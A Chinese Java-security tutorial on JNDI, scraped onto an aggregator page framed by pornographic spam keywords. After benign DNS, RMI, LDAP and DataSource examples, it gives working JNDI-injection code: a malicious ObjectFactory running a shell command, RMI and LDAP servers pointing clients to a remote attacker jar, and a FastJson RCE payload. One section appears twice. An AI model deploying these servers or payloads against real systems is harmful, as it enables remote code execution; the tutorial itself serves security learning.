日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

java安全(四) JNDI

發(fā)布時(shí)間:2025/3/8 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java安全(四) JNDI 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號(hào):b1gpig信息安全,文章推送不錯(cuò)過(guò)

1.JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過(guò)調(diào)用JNDI的API應(yīng)用程序可以定位資源和其他程序?qū)ο?。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 數(shù)據(jù)源),JNDI可訪問(wèn)的現(xiàn)有的目錄及服務(wù)有:JDBC、LDAP、RMI、DNS、NIS、CORBA

通俗理解,使用jndi作為數(shù)據(jù)源而不是直接去連接數(shù)據(jù)庫(kù),將數(shù)據(jù)庫(kù)交給jndi去配置管理,jndi通過(guò)數(shù)據(jù)源名稱去應(yīng)用數(shù)據(jù)源訪問(wèn)數(shù)據(jù)庫(kù)

Naming Service 命名服務(wù):

命名服務(wù)將名稱和對(duì)象進(jìn)行關(guān)聯(lián),提供通過(guò)名稱找到對(duì)象的操作,例如:DNS系統(tǒng)將計(jì)算機(jī)名和IP地址進(jìn)行關(guān)聯(lián)、文件系統(tǒng)將文件名和文件句柄進(jìn)行關(guān)聯(lián)等等。

Directory Service 目錄服務(wù):

目錄服務(wù)是命名服務(wù)的擴(kuò)展,除了提供名稱和對(duì)象的關(guān)聯(lián),還允許對(duì)象具有屬性。目錄服務(wù)中的對(duì)象稱之為目錄對(duì)象。目錄服務(wù)提供創(chuàng)建、添加、刪除目錄對(duì)象以及修改目錄對(duì)象屬性等操作。

Reference 引用:

在一些命名服務(wù)系統(tǒng)中,系統(tǒng)并不是直接將對(duì)象存儲(chǔ)在系統(tǒng)中,而是保持對(duì)象的引用。引用包含了如何訪問(wèn)實(shí)際對(duì)象的信息。

2.JNDI目錄服務(wù)

訪問(wèn)JNDI目錄服務(wù)時(shí)會(huì)通過(guò)預(yù)先設(shè)置好環(huán)境變量訪問(wèn)對(duì)應(yīng)的服務(wù), 如果創(chuàng)建JNDI上下文(Context)時(shí)未指定環(huán)境變量對(duì)象,JNDI會(huì)自動(dòng)搜索系統(tǒng)屬性(System.getProperty())、applet 參數(shù)和應(yīng)用程序資源文件(jndi.properties)。

使用JNDI創(chuàng)建目錄服務(wù)對(duì)象代碼片段:

// 創(chuàng)建環(huán)境變量對(duì)象 Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名 env.put(Context.INITIAL_CONTEXT_FACTORY, "類名");// 設(shè)置JNDI提供服務(wù)的URL地址 env.put(Context.PROVIDER_URL, "url");// 創(chuàng)建JNDI目錄服務(wù)對(duì)象 DirContext context = new InitialDirContext(env);

Context.INITIAL_CONTEXT_FACTORY(初始上下文工廠的環(huán)境屬性名稱)指的是JNDI服務(wù)處理的具體類名稱,如:DNS服務(wù)可以使用com.sun.jndi.dns.DnsContextFactory類來(lái)處理,JNDI上下文工廠類必須實(shí)現(xiàn)javax.naming.spi.InitialContextFactory接口,通過(guò)重寫getInitialContext方法來(lái)創(chuàng)建服務(wù)。

javax.naming.spi.InitialContextFactory:

package javax.naming.spi;public interface InitialContextFactory {public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;}

3.JNDI-DNS解析

JNDI支持訪問(wèn)DNS服務(wù),注冊(cè)環(huán)境變量時(shí)設(shè)置JNDI服務(wù)處理的工廠類為com.sun.jndi.dns.DnsContextFactory即可。

com.sun.jndi.dns.DnsContextFactory代碼片段:

package com.sun.jndi.dns;public class DnsContextFactory implements InitialContextFactory {// 獲取處理DNS的JNDI上下文對(duì)象public Context getInitialContext(Hashtable<?, ?> var1) throws NamingException {if (var1 == null) {var1 = new Hashtable(5);}return urlToContext(getInitCtxUrl(var1), var1);}// 省去其他無(wú)關(guān)方法和變量 }

4.使用JNDI解析DNS測(cè)試:

package jndi;import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.Attributes; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/23*/ public class DNSContextFactoryTest {public static void main(String[] args) {// 創(chuàng)建環(huán)境變量對(duì)象Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");// 設(shè)置JNDI提供服務(wù)的URL地址,這里可以設(shè)置解析的DNS服務(wù)器地址env.put(Context.PROVIDER_URL, "dns://114.114.114.114"); //114dns地址try {// 創(chuàng)建JNDI目錄服務(wù)對(duì)象DirContext context = new InitialDirContext(env);// 獲取DNS解析記錄測(cè)試Attributes attrs1 = context.getAttributes("baidu.com", new String[]{"A"});Attributes attrs2 = context.getAttributes("qq.com", new String[]{"A"});System.out.println(attrs1);System.out.println(attrs2);} catch (NamingException e) {e.printStackTrace();}}}

輸出:

或者使用dnslog平臺(tái)解析:

env.put(Context.PROVIDER_URL, “dns://6ew8cd.dnslog.cn”);

5.JNDI-RMI遠(yuǎn)程方法調(diào)用

RMI的服務(wù)處理工廠類是:com.sun.jndi.rmi.registry.RegistryContextFactory,在調(diào)用遠(yuǎn)程的RMI方法之前需要先啟動(dòng)RMI服務(wù):com.anbai.sec.rmi.RMIServerTest,啟動(dòng)完成后就可以使用JNDI連接并調(diào)用了。

使用JNDI解析調(diào)用遠(yuǎn)程RMI方法測(cè)試:

package com.anbai.sec.jndi;import com.anbai.sec.rmi.RMITestInterface;import javax.naming.Context; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.rmi.RemoteException; import java.util.Hashtable;import static com.anbai.sec.rmi.RMIServerTest.*;/*** Creator: yz* Date: 2019/12/24*/ public class RMIRegistryContextFactoryTest {public static void main(String[] args) {String providerURL = "rmi://" + RMI_HOST + ":" + RMI_PORT;// 創(chuàng)建環(huán)境變量對(duì)象Hashtable env = new Hashtable();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");// 設(shè)置JNDI提供服務(wù)的URL地址env.put(Context.PROVIDER_URL, providerURL);// 通過(guò)JNDI調(diào)用遠(yuǎn)程RMI方法測(cè)試,等同于com.anbai.sec.rmi.RMIClientTest類的Demotry {// 創(chuàng)建JNDI目錄服務(wù)對(duì)象DirContext context = new InitialDirContext(env);// 通過(guò)命名服務(wù)查找遠(yuǎn)程RMI綁定的RMITestInterface對(duì)象RMITestInterface testInterface = (RMITestInterface) context.lookup(RMI_NAME);// 調(diào)用遠(yuǎn)程的RMITestInterface接口的test方法String result = testInterface.test();System.out.println(result);} catch (NamingException e) {e.printStackTrace();} catch (RemoteException e) {e.printStackTrace();}}}

程序執(zhí)行結(jié)果:

Hello RMI~

6.JNDI-LDAP

LDAP的服務(wù)處理工廠類是:com.sun.jndi.ldap.LdapCtxFactory,連接LDAP之前需要配置好遠(yuǎn)程的LDAP服務(wù)。

使用JNDI創(chuàng)建LDAP連接測(cè)試:

package com.anbai.sec.jndi;import javax.naming.Context; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import java.util.Hashtable;/*** Creator: yz* Date: 2019/12/24*/ public class LDAPFactoryTest {public static void main(String[] args) {try {// 設(shè)置用戶LDAP登陸用戶DNString userDN = "cn=Manager,dc=javaweb,dc=org";// 設(shè)置登陸用戶密碼String password = "123456";// 創(chuàng)建環(huán)境變量對(duì)象Hashtable<String, Object> env = new Hashtable<String, Object>();// 設(shè)置JNDI初始化工廠類名env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");// 設(shè)置JNDI提供服務(wù)的URL地址env.put(Context.PROVIDER_URL, "ldap://localhost:389");// 設(shè)置安全認(rèn)證方式env.put(Context.SECURITY_AUTHENTICATION, "simple");// 設(shè)置用戶信息env.put(Context.SECURITY_PRINCIPAL, userDN);// 設(shè)置用戶密碼env.put(Context.SECURITY_CREDENTIALS, password);// 創(chuàng)建LDAP連接DirContext ctx = new InitialDirContext(env);// 使用ctx可以查詢或存儲(chǔ)數(shù)據(jù),此處省去業(yè)務(wù)代碼ctx.close();} catch (Exception e) {e.printStackTrace();}}}

7.JNDI-DataSource

JNDI連接數(shù)據(jù)源比較特殊,Java目前不提供內(nèi)置的實(shí)現(xiàn)方法,提供數(shù)據(jù)源服務(wù)的多是Servlet容器,這里我們以Tomcat為例學(xué)習(xí)如何在應(yīng)用服務(wù)中使用JNDI查找容器提供的數(shù)據(jù)源。

Tomcat配置JNDI數(shù)據(jù)源需要手動(dòng)修改Tomcat目錄/conf/context.xml文件,參考:Tomcat JNDI Datasource,這里我們?cè)赥omcat的conf/context.xml中添加如下配置:

Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"maxTotal="100" maxIdle="30" maxWaitMillis="10000"username="root" password="root" driverClassName="com.mysql.jdbc.Driver"url="jdbc:mysql://localhost:3306/mysql"/>

然后我們需要下載好Mysql的JDBC驅(qū)動(dòng)包并復(fù)制到Tomcat的lib目錄:

wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.48/mysql-connector-java-5.1.48.jar -P "/data/apache-tomcat-8.5.31/lib"

配置好數(shù)據(jù)源之后我們重啟Tomcat服務(wù)就可以使用JNDI的方式獲取DataSource了。

使用JNDI獲取數(shù)據(jù)源并查詢數(shù)據(jù)庫(kù)測(cè)試:

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.naming.Context" %> <%@ page import="javax.naming.InitialContext" %> <%@ page import="javax.sql.DataSource" %> <%@ page import="java.sql.Connection" %> <%@ page import="java.sql.ResultSet" %> <%// 初始化JNDIContextContext context = new InitialContext();// 搜索Tomcat注冊(cè)的JNDI數(shù)據(jù)庫(kù)連接池對(duì)象DataSource dataSource = (DataSource) context.lookup("java:comp/env/jdbc/test");// 獲取數(shù)據(jù)庫(kù)連接Connection connection = dataSource.getConnection();// 查詢SQL語(yǔ)句并返回結(jié)果ResultSet rs = connection.prepareStatement("select version()").executeQuery();// 獲取數(shù)據(jù)庫(kù)查詢結(jié)果while (rs.next()) {out.println(rs.getObject(1));}rs.close(); %>

訪問(wèn)tomcat-datasource-lookup.jsp輸出: 5.7.28,需要注意的是示例jsp中的Demo使用了系統(tǒng)的環(huán)境變量所以并不需要在創(chuàng)建context的時(shí)候傳入環(huán)境變量對(duì)象。Tomcat在啟動(dòng)的時(shí)候會(huì)設(shè)置JNDI變量信息,處理JNDI服務(wù)的類是org.apache.naming.java.javaURLContextFactory,所以在jsp中我們可以直接創(chuàng)建context。

8.JNDI-協(xié)議轉(zhuǎn)換

如果JNDI在lookup時(shí)沒(méi)有指定初始化工廠名稱,會(huì)自動(dòng)根據(jù)協(xié)議類型動(dòng)態(tài)查找內(nèi)置的工廠類然后創(chuàng)建處理對(duì)應(yīng)的服務(wù)請(qǐng)求。

JNDI默認(rèn)支持自動(dòng)轉(zhuǎn)換的協(xié)議有:

RMI示例代碼片段:

// 創(chuàng)建JNDI目錄服務(wù)上下文 InitialContext context = new InitialContext();// 查找JNDI目錄服務(wù)綁定的對(duì)象 Object obj = context.lookup("rmi://127.0.0.1:9527/test");

示例代碼通過(guò)lookup會(huì)自動(dòng)使用rmiURLContext處理RMI請(qǐng)求。

9.JNDI-Reference

在JNDI服務(wù)中允許使用系統(tǒng)以外的對(duì)象,比如在某些目錄服務(wù)中直接引用遠(yuǎn)程的Java對(duì)象,但遵循一些安全限制。

RMI/LDAP遠(yuǎn)程對(duì)象引

10.RMI/LDAP遠(yuǎn)程對(duì)象引用安全限制

在RMI服務(wù)中引用遠(yuǎn)程對(duì)象將受本地Java環(huán)境限制即本地的java.rmi.server.useCodebaseOnly配置必須為false(允許加載遠(yuǎn)程對(duì)象),如果該值為true則禁止引用遠(yuǎn)程對(duì)象。除此之外被引用的ObjectFactory對(duì)象還將受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果該值為false(不信任遠(yuǎn)程引用對(duì)象)一樣無(wú)法調(diào)用遠(yuǎn)程的引用對(duì)象。

1.JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始java.rmi.server.useCodebaseOnly默認(rèn)配置已經(jīng)改為了true。
2.JDK 6u132, JDK 7u122, JDK 8u113開始com.sun.jndi.rmi.object.trustURLCodebase默認(rèn)值已改為了false。

本地測(cè)試遠(yuǎn)程對(duì)象引用可以使用如下方式允許加載遠(yuǎn)程的引用對(duì)象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

或者在啟動(dòng)Java程序時(shí)候指定-D參數(shù):-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。

LDAP在JDK 11.0.1、8u191、7u201、6u211后也將默認(rèn)的com.sun.jndi.ldap.object.trustURLCodebase設(shè)置為了false。

高版本JDK可參考
https://paper.seebug.org/942/

11.使用創(chuàng)建惡意的ObjectFactory對(duì)象

JNDI允許通過(guò)對(duì)象工廠 (javax.naming.spi.ObjectFactory)動(dòng)態(tài)加載對(duì)象實(shí)現(xiàn),例如,當(dāng)查找綁定在名稱空間中的打印機(jī)時(shí),如果打印服務(wù)將打印機(jī)的名稱綁定到 Reference,則可以使用該打印機(jī) Reference 創(chuàng)建一個(gè)打印機(jī)對(duì)象,從而查找的調(diào)用者可以在查找后直接在該打印機(jī)對(duì)象上操作。

對(duì)象工廠必須實(shí)現(xiàn) javax.naming.spi.ObjectFactory接口并重寫getObjectInstance方法。

ReferenceObjectFactory示例代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;/*** 引用對(duì)象創(chuàng)建工廠*/ public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj 包含可在創(chuàng)建對(duì)象時(shí)使用的位置或引用信息的對(duì)象(可能為 null)。* @param name 此對(duì)象相對(duì)于 ctx 的名稱,如果沒(méi)有指定名稱,則該參數(shù)為 null。* @param ctx 一個(gè)上下文,name 參數(shù)是相對(duì)于該上下文指定的,如果 name 相對(duì)于默認(rèn)初始上下文,則該參數(shù)為 null。* @param env 創(chuàng)建對(duì)象時(shí)使用的環(huán)境(可能為 null)。* @return 對(duì)象工廠創(chuàng)建出的對(duì)象* @throws Exception 對(duì)象創(chuàng)建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創(chuàng)建對(duì)象過(guò)程中插入惡意的攻擊代碼,或者直接創(chuàng)建一個(gè)本地命令執(zhí)行的Process對(duì)象從而實(shí)現(xiàn)RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

12.創(chuàng)建惡意的RMI服務(wù)

如果我們?cè)赗MI服務(wù)端綁定一個(gè)惡意的引用對(duì)象,RMI客戶端在獲取服務(wù)端綁定的對(duì)象時(shí)發(fā)現(xiàn)是一個(gè)Reference對(duì)象后檢查當(dāng)前JVM是否允許加載遠(yuǎn)程引用對(duì)象,如果允許加載且本地不存在此對(duì)象工廠類則使用URLClassLoader加載遠(yuǎn)程的jar,并加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。

包含惡意攻擊的RMI服務(wù)端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;/*** 引用對(duì)象創(chuàng)建工廠*/ public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj 包含可在創(chuàng)建對(duì)象時(shí)使用的位置或引用信息的對(duì)象(可能為 null)。* @param name 此對(duì)象相對(duì)于 ctx 的名稱,如果沒(méi)有指定名稱,則該參數(shù)為 null。* @param ctx 一個(gè)上下文,name 參數(shù)是相對(duì)于該上下文指定的,如果 name 相對(duì)于默認(rèn)初始上下文,則該參數(shù)為 null。* @param env 創(chuàng)建對(duì)象時(shí)使用的環(huán)境(可能為 null)。* @return 對(duì)象工廠創(chuàng)建出的對(duì)象* @throws Exception 對(duì)象創(chuàng)建異常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在創(chuàng)建對(duì)象過(guò)程中插入惡意的攻擊代碼,或者直接創(chuàng)建一個(gè)本地命令執(zhí)行的Process對(duì)象從而實(shí)現(xiàn)RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}

13.創(chuàng)建惡意的RMI服務(wù)

如果我們?cè)赗MI服務(wù)端綁定一個(gè)惡意的引用對(duì)象,RMI客戶端在獲取服務(wù)端綁定的對(duì)象時(shí)發(fā)現(xiàn)是一個(gè)Reference對(duì)象后檢查當(dāng)前JVM是否允許加載遠(yuǎn)程引用對(duì)象,如果允許加載且本地不存在此對(duì)象工廠類則使用URLClassLoader加載遠(yuǎn)程的jar,并加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。

包含惡意攻擊的RMI服務(wù)端代碼:

package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME; import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** Creator: yz* Date: 2019/12/25*/ public class RMIReferenceServerTest {public static void main(String[] args) {try {// 定義一個(gè)遠(yuǎn)程的jar,jar中包含一個(gè)惡意攻擊的對(duì)象的工廠類String url = "http://p2j.cn/tools/jndi-test.jar";// 對(duì)象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";// 監(jiān)聽RMI服務(wù)端口LocateRegistry.createRegistry(RMI_PORT);// 創(chuàng)建一個(gè)遠(yuǎn)程的JNDI對(duì)象工廠類的引用對(duì)象Reference reference = new Reference(className, className, url);// 轉(zhuǎn)換為RMI引用對(duì)象ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 綁定一個(gè)惡意的Remote對(duì)象到RMI服務(wù)Naming.bind(RMI_NAME, referenceWrapper);System.out.println("RMI服務(wù)啟動(dòng)成功,服務(wù)地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}

輸出:

啟動(dòng)完RMIReferenceServerTest后在本地監(jiān)聽9000端口測(cè)試客戶端調(diào)用RMI方法后是否執(zhí)行了curl localhost:9000命令。

使用nc監(jiān)聽端口:

nc -vv -l 9000

RMI客戶端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.InitialContext; import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/*** Creator: yz* Date: 2019/12/25*/ public class RMIReferenceClientTest {public static void main(String[] args) {try { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("java.rmi.server.useCodebaseOnly", "false"); // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");InitialContext context = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對(duì)象Object obj = context.lookup(RMI_NAME);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

程序運(yùn)行結(jié)果:
程序運(yùn)行結(jié)果:

Process[pid=8634, exitValue="not exited"]

注:如果為高版本java會(huì)報(bào)錯(cuò):The object factory is untrusted. Set the system property ‘com.sun.jndi.rmi.object.trustURLCodebase’ to ‘true’.
不信任該工廠類

繞過(guò)高版本JDK的限制進(jìn)行JNDI注入利用:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

客戶端執(zhí)行成功后可以在nc中看到來(lái)自客戶端的curl請(qǐng)求:

GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*

上面的示例演示了在JVM默認(rèn)允許加載遠(yuǎn)程RMI引用對(duì)象所帶來(lái)的RCE攻擊,但在真實(shí)的環(huán)境下由于發(fā)起RMI請(qǐng)求的客戶端的JDK版本大于我們的測(cè)試要求或者網(wǎng)絡(luò)限制等可能會(huì)導(dǎo)致攻擊失敗。

14.創(chuàng)建惡意的LDAP服務(wù)

LDAP和RMI同理,測(cè)試方法也同上。啟動(dòng)LDAP服務(wù)端程序后我們會(huì)在LDAP請(qǐng)求中返回一個(gè)含有惡意攻擊代碼的對(duì)象工廠的遠(yuǎn)程jar地址,客戶端會(huì)加載我們構(gòu)建的惡意對(duì)象工廠(ReferenceObjectFactory)類然后調(diào)用其中的getObjectInstance方法從而觸發(fā)該方法中的惡意RCE代碼。

包含惡意攻擊的LDAP服務(wù)端代碼:

package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress;public class LDAPReferenceServerTest {// 設(shè)置LDAP服務(wù)端口public static final int SERVER_PORT = 3890;// 設(shè)置LDAP綁定的服務(wù)地址,外網(wǎng)測(cè)試換成0.0.0.0public static final String BIND_HOST = "127.0.0.1";// 設(shè)置一個(gè)實(shí)體名稱public static final String LDAP_ENTRY_NAME = "test";// 獲取LDAP服務(wù)地址public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;// 定義一個(gè)遠(yuǎn)程的jar,jar中包含一個(gè)惡意攻擊的對(duì)象的工廠類public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";// 設(shè)置LDAP基底DNprivate static final String LDAP_BASE = "dc=javasec,dc=org";public static void main(String[] args) {try {// 創(chuàng)建LDAP配置對(duì)象InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 設(shè)置LDAP監(jiān)聽配置信息config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,ServerSocketFactory.getDefault(), SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定義的LDAP操作攔截器config.addInMemoryOperationInterceptor(new OperationInterceptor());// 創(chuàng)建LDAP服務(wù)對(duì)象InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 啟動(dòng)服務(wù)ds.startListening();System.out.println("LDAP服務(wù)啟動(dòng)成功,服務(wù)地址:" + LDAP_URL);} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry entry = new Entry(base);try {// 設(shè)置對(duì)象的工廠類名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";entry.addAttribute("javaClassName", className);entry.addAttribute("javaFactory", className);// 設(shè)置遠(yuǎn)程的惡意引用對(duì)象的jar地址entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);// 設(shè)置LDAP objectClassentry.addAttribute("objectClass", "javaNamingReference");result.sendSearchEntry(entry);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));} catch (Exception e1) {e1.printStackTrace();}}}}

程序運(yùn)行結(jié)果:

LDAP客戶端代碼:

package com.anbai.sec.jndi.injection;import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/*** Creator: yz* Date: 2019/12/27*/ public class LDAPReferenceClientTest {public static void main(String[] args) {try { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Context ctx = new InitialContext();// 獲取RMI綁定的惡意ReferenceWrapper對(duì)象Object obj = ctx.lookup(LDAP_URL);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}

輸出:

15.FastJson 反序列化JNDI注入示例

比較典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON對(duì)象時(shí)候會(huì)通過(guò)反射自動(dòng)創(chuàng)建類實(shí)例且FastJson會(huì)根據(jù)傳入的JSON字段間接的調(diào)用類成員變量的setXXX方法。FastJson這個(gè)反序列化功能看似無(wú)法實(shí)現(xiàn)RCE,但是有人找出多個(gè)符合JNDI注入漏洞利用條件的Java類(如:com.sun.rowset.JdbcRowSetImpl)從而實(shí)現(xiàn)了RCE。

JdbcRowSetImpl示例:

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="com.sun.rowset.JdbcRowSetImpl" %> <%JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(request.getParameter("url"));jdbcRowSet.setAutoCommit(true); %>

假設(shè)我們能夠動(dòng)態(tài)的創(chuàng)建出JdbcRowSetImpl類實(shí)例且可以間接的調(diào)用setDataSourceName和setAutoCommit方法,那么就有可能實(shí)現(xiàn)JNDI注入攻擊。FastJson使用JdbcRowSetImpl實(shí)現(xiàn)JNDI注入攻擊的大致的流程如下:

1.反射創(chuàng)建com.sun.rowset.JdbcRowSetImpl對(duì)象。
2.反射調(diào)用setDataSourceName方法,設(shè)置JNDI的URL。
3.反射調(diào)用setAutoCommit方法,該方法會(huì)試圖使用JNDI獲取數(shù)據(jù)源(DataSource)對(duì)象。
4.調(diào)用lookup方法去查找我們注入的URL所綁定的惡意的JNDI遠(yuǎn)程引用對(duì)象。
5.執(zhí)行惡意的類對(duì)象工廠方法實(shí)現(xiàn)RCE。

FastJson JdbcRowSetImpl Payload:

{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:3890/test", "autoCommit": "true" }

FastJson JNDI測(cè)試代碼:

package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/*** Creator: yz* Date: 2019/12/28*/ public class FastJsonRCETest {public static void main(String[] args) { // // 測(cè)試時(shí)如果需要允許調(diào)用RMI遠(yuǎn)程引用對(duì)象加載請(qǐng)取消如下注釋 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";Object obj = JSON.parse(json);System.out.println(obj);}}

程序執(zhí)行后nc會(huì)接收到本機(jī)的curl請(qǐng)求表明漏洞已利用成功:

GET / HTTP/1.1 Host: localhost:9000 User-Agent: curl/7.64.1 Accept: */*

補(bǔ)充資料
對(duì)高版本jdk的ldap的限制進(jìn)行繞過(guò)

總結(jié)

以上是生活随笔為你收集整理的java安全(四) JNDI的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

亚洲黄色小说网址 | 亚洲免费激情 | 亚洲电影第一页av | 韩日色视频| 一区二区三区免费在线 | 欧美成人在线免费观看 | 久久久久伦理电影 | 久久久久久久久久久久久国产精品 | 91中文字幕在线 | 欧美成人h版 | 97国产精品久久 | 久久精品视频99 | 精品影院一区二区久久久 | 久久综合九九 | 99精品免费久久久久久久久日本 | 国产一级片观看 | 黄色美女免费网站 | 国产在线播放一区二区三区 | 日日日操| 色www.| 精品在线亚洲视频 | 九热精品 | 国产在线一区二区三区播放 | 日韩中文字幕免费视频 | 久久久久久久久久久久久久电影 | 国产手机在线视频 | aa级黄色大片 | 久久久一本精品99久久精品66 | 蜜臀av性久久久久蜜臀aⅴ四虎 | 日韩精品1区2区 | 国产精品美女久久久久久久久久久 | 美女黄久久| 免费看一及片 | 久久夜色精品国产欧美乱极品 | 免费a网址 | 超碰在线公开免费 | 四川妇女搡bbbb搡bbbb搡 | 黄色片亚洲| 国产精品理论在线观看 | 久久99国产精品久久 | 在线播放一区 | 月下香电影 | www日日夜夜| 在线中文字幕电影 | 亚洲精品美女免费 | 国产成人一区二区三区免费看 | 天天搞夜夜骑 | 欧美在线观看小视频 | 黄a在线观看 | www.久久com| 中文字幕在线有码 | 久久久久久久久久电影 | 在线观看黄色av | 天天玩天天干天天操 | 91麻豆精品国产午夜天堂 | 久久99精品国产一区二区三区 | 中文字幕高清有码 | 国产精品久久久久9999 | 亚洲精品视频网 | 日韩精品一区二区三区水蜜桃 | 免费一级特黄毛大片 | 日日干网址 | 久久这里只精品 | 日韩黄视频 | 婷婷色综合 | 波多野结衣综合网 | 午夜久久久久 | 日韩黄色在线电影 | 中文字幕高清视频 | 在线观看视频97 | 日韩免费不卡视频 | 激情欧美日韩一区二区 | 97超在线视频 | 在线导航av | 黄av资源| 国产一级二级在线播放 | 精品国产诱惑 | 国产一级在线观看视频 | 国精产品999国精产品视频 | 亚洲欧洲精品一区 | www操操操 | 91精品黄色 | av中文天堂在线 | 色综合久久88色综合天天人守婷 | 亚洲免费在线视频 | 